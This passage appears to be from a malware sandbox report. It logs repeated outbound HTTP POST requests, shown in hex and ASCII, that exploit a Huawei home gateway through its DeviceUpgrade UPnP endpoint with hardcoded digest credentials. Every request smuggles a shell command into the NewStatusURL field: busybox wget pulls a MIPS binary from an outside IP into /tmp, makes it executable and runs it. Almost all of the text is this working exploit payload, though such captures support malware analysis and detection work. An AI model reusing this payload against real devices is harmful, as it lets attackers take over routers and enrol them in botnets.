huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:59.330648899 CET	2103	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.009696007 CET	2297	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367614985 CET	2715	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	41666	156.241.15.178	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:51.994637012 CET	1903	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:53.603460073 CET	1933	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:55.523226976 CET	1986	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:59.330637932 CET	2102	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.009677887 CET	2296	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367633104 CET	2716	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	156.241.15.178	37215	192.168.2.23	41666

Timestamp	kBytes transferred	Direction	Data
